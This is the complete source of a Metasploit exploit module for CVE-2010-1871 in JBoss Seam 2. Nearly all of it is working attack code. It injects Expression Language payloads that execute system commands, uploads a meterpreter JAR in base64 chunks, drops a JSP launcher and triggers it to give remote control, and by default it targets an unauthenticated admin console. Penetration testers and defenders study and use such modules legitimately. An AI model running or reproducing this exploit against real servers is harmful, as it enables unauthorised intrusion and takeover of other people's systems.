JBoss Seam 2 – Arbitrary File Upload / Execution (Metasploit)
# # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'rex/proto/http' require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'JBoss Seam 2 File Upload and Execute', 'Description' => %q{ Versions of the JBoss Seam 2 framework < 2.2.1CR2 fails to properly sanitize inputs to some JBoss Expression Language expressions. As a result, attackers can gain remote code execution through the application server. This module leverages RCE to upload and execute a meterpreter payload. Versions of the JBoss AS admin-console are known to be vulnerable to this exploit, without requiring authentication. Tested against JBoss AS 5 and 6, running on Linux with JDKs 6 and 7. This module provides a more efficient method of exploitation - it does not loop to find desired Java classes and methods. NOTE: the check for upload success is not 100% accurate. NOTE 2: The module uploads the meterpreter JAR and a JSP to launch it. }, 'Author' => [ 'vulp1n3 <vulp1n3[at]gmail.com>' ], 'References' => [ # JBoss EAP 4.3.0 does not properly sanitize JBoss EL inputs ['CVE', '2010-1871'], ['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=615956'], ['URL', 'http://blog.o0o.nu/2010/07/cve-2010-1871-jboss-seam-framework.html'], ['URL', 'http://archives.neohapsis.com/archives/bugtraq/2013-05/0117.html'] ], 'DisclosureDate' => "Aug 05 2010", 'License' => MSF_LICENSE, 'Platform' => %w{ java }, 'Targets' => [ [ 'Java Universal', { 'Arch' => ARCH_JAVA, 'Platform' => 'java' }, ] ], 'DefaultTarget' => 0 )) register_options( [ Opt::RPORT(8080), OptString.new('AGENT', [ true, "User-Agent to send with requests", "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"]), OptString.new('CTYPE', [ true, "Content-Type to send with requests", "application/x-www-form-urlencoded"]), OptString.new('TARGETURI', [ true, "URI that is built on JBoss Seam 2", "/admin-console/login.seam"]), OptInt.new('TIMEOUT', [ true, 'Timeout for web requests', 10]), OptString.new('FNAME', [ false, "Name of file to create - NO EXTENSION! (default: random)", nil]), OptInt.new('CHUNKSIZE', [ false, 'Size in bytes of chunk per request', 1024]), ], self.class) end def check vprint_status("#{rhost}:#{rport} Checking for vulnerable JBoss Seam 2") uri = target_uri.path res = send_request_cgi( { 'uri' => normalize_uri(uri), 'method' => 'POST', 'ctype' => datastore['CTYPE'], 'agent' => datastore['AGENT'], 'data' => "actionOutcome=/success.xhtml?user%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethod('getRuntime')}" }, timeout=datastore['TIMEOUT']) if (res and res.code == 302 and res.headers['Location']) vprint_debug("Server sent a 302 with location") if (res.headers['Location'] =~ %r(public\+static\+java\.lang\.Runtime\+java.lang.Runtime.getRuntime\%28\%29)) report_vuln({ :host => rhost, :port => rport, :name => "#{self.name} - #{uri}", :refs => self.references, :info => "Module #{self.fullname} found vulnerable JBoss Seam 2 resource." }) return Exploit::CheckCode::Vulnerable else return Exploit::CheckCode::Safe end else return Exploit::CheckCode::Unknown end # If we reach this point, we didn't find the service return Exploit::CheckCode::Unknown end def execute_cmd(cmd) cmd_to_run = Rex::Text.uri_encode(cmd) vprint_status("#{rhost}:#{rport} Sending command: #{cmd_to_run}") uri = target_uri.path res = send_request_cgi( { 'uri' => normalize_uri(uri), 'method' => 'POST', 'ctype' => datastore['CTYPE'], 'agent' => datastore['AGENT'], 'data' => "actionOutcome=/success.xhtml?user%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethod('getRuntime').invoke(expressions.getClass().forName('java.lang.Runtime')).exec('#{cmd_to_run}')}" }, timeout=datastore['TIMEOUT']) if (res and res.code == 302 and res.headers['Location']) if (res.headers['Location'] =~ %r(user=java.lang.UNIXProcess)) vprint_status("#{rhost}:#{rport} Exploit successful") else vprint_status("#{rhost}:#{rport} Exploit failed.") end else vprint_status("#{rhost}:#{rport} Exploit failed.") end end def call_jsp(jspname) # TODO ugly way to strip off last resource on a path uri = target_uri.path *keep,ignore = uri.split(/\//) keep.push(jspname) uri = keep.join("/") uri = "/" + uri if (uri[0] != "/") res = send_request_cgi( { 'uri' => normalize_uri(uri), 'method' => 'POST', 'ctype' => datastore['CTYPE'], 'agent' => datastore['AGENT'], 'data' => "sessionid=" + Rex::Text.rand_text_alpha(32) }, timeout=datastore['TIMEOUT']) if (res and res.code == 200) vprint_status("Successful request to JSP") else vprint_error("Failed to request JSP") end end def upload_jsp(filename,jarname) jsp_text = <<EOJSP <%@ page import="java.io.*" %><%@ page import="java.net.*" %><% URLClassLoader cl = new java.net.URLClassLoader(new java.net.URL[]{new java.io.File(request.getRealPath("/#{jarname}")).toURI().toURL()}); Class c = cl.loadClass("metasploit.Payload"); c.getMethod("main",Class.forName("[Ljava.lang.String;")).invoke(null,new java.lang.Object[]{new java.lang.String[0]}); %> EOJSP vprint_status("Uploading JSP to launch payload") status = upload_file_chunk(filename,'false',jsp_text) if status vprint_status("JSP uploaded to to #{filename}") else vprint_error("Failed to upload file.") end @pl_sent = true end def upload_file_chunk(filename, append='false', chunk) # create URL-safe Base64-encoded version of chunk b64 = Rex::Text.encode_base64(chunk) b64 = b64.gsub("+","%2b") b64 = b64.gsub("/","%2f") uri = target_uri.path res = send_request_cgi( { 'uri' => normalize_uri(uri), 'method' => 'POST', 'ctype' => datastore['CTYPE'], 'agent' => datastore['AGENT'], 'data' => "actionOutcome=/success.xhtml?user%3d%23{expressions.getClass().forName('java.io.FileOutputStream').getConstructor('java.lang.String',expressions.getClass().forName('java.lang.Boolean').getField('TYPE').get(null)).newInstance(request.getRealPath('/#{filename}').replaceAll('\\\\\\\\','/'),#{append}).write(expressions.getClass().forName('sun.misc.BASE64Decoder').getConstructor(null).newInstance(null).decodeBuffer(request.getParameter('c'))).close()}&c=" + b64 }, timeout=datastore['TIMEOUT']) if (res and res.code == 302 and res.headers['Location']) # TODO Including the conversationId part in this regex might cause # failure on other Seam applications. Needs more testing if (res.headers['Location'] =~ %r(user=&conversationId)) #vprint_status("#{rhost}:#{rport} Exploit successful.") return true else #vprint_status("#{rhost}:#{rport} Exploit failed.") return false end else #vprint_status("#{rhost}:#{rport} Exploit failed.") return false end end def get_full_path(filename) #vprint_debug("Trying to find full path for #{filename}") uri = target_uri.path res = send_request_cgi( { 'uri' => normalize_uri(uri), 'method' => 'POST', 'ctype' => datastore['CTYPE'], 'agent' => datastore['AGENT'], 'data' => "actionOutcome=/success.xhtml?user%3d%23{request.getRealPath('/#{filename}').replaceAll('\\\\\\\\','/')}" }, timeout=datastore['TIMEOUT']) if (res and res.code == 302 and res.headers['Location']) # the user argument should be set to the result of our call - which # will be the full path of our file matches = /.*user=(.+)\&.*/.match(res.headers['Location']) #vprint_debug("Location is " + res.headers['Location']) if (matches and matches.captures) return Rex::Text::uri_decode(matches.captures[0]) else return nil end else return nil end end def java_stager(fname, chunk_size) @payload_exe = fname + ".jar" jsp_name = fname + ".jsp" #data = payload.encoded_jar.pack data = payload.encoded_jar.pack append = 'false' while (data.length > chunk_size) status = upload_file_chunk(@payload_exe, append, data[0, chunk_size]) if status vprint_debug("Uploaded chunk") else vprint_error("Failed to upload chunk") break end data = data[chunk_size, data.length - chunk_size] # first chunk is an overwrite, afterwards, we need to append append = 'true' end status = upload_file_chunk(@payload_exe, 'true', data) if status vprint_status("Payload uploaded to " + @payload_exe) else vprint_error("Failed to upload file.") end # write a JSP that can call the payload in the jar upload_jsp(jsp_name, @payload_exe) pe_path = get_full_path(@payload_exe) || @payload_exe jsp_path = get_full_path(jsp_name) || jsp_name # try to clean up our stuff; register_files_for_cleanup(pe_path, jsp_path) # call the JSP to launch the payload call_jsp(jsp_name) end def exploit @pl_sent = false if check == Exploit::CheckCode::Vulnerable fname = datastore['FNAME'] || Rex::Text.rand_text_alpha(8+rand(8)) vprint_status("#{rhost}:#{rport} Host is vulnerable") vprint_status("#{rhost}:#{rport} Uploading file...") # chunking code based on struts_code_exec_exception_delegator append = 'false' chunk_size = datastore['CHUNKSIZE'] # sanity check if (chunk_size <= 0) vprint_error("Invalid chunk size #{chunk_size}") return end vprint_debug("Sending in chunks of #{chunk_size}") case target['Platform'] when 'java' java_stager(fname, chunk_size) else fail_with(Failure::NoTarget, 'Unsupported target platform!') end handler end end end |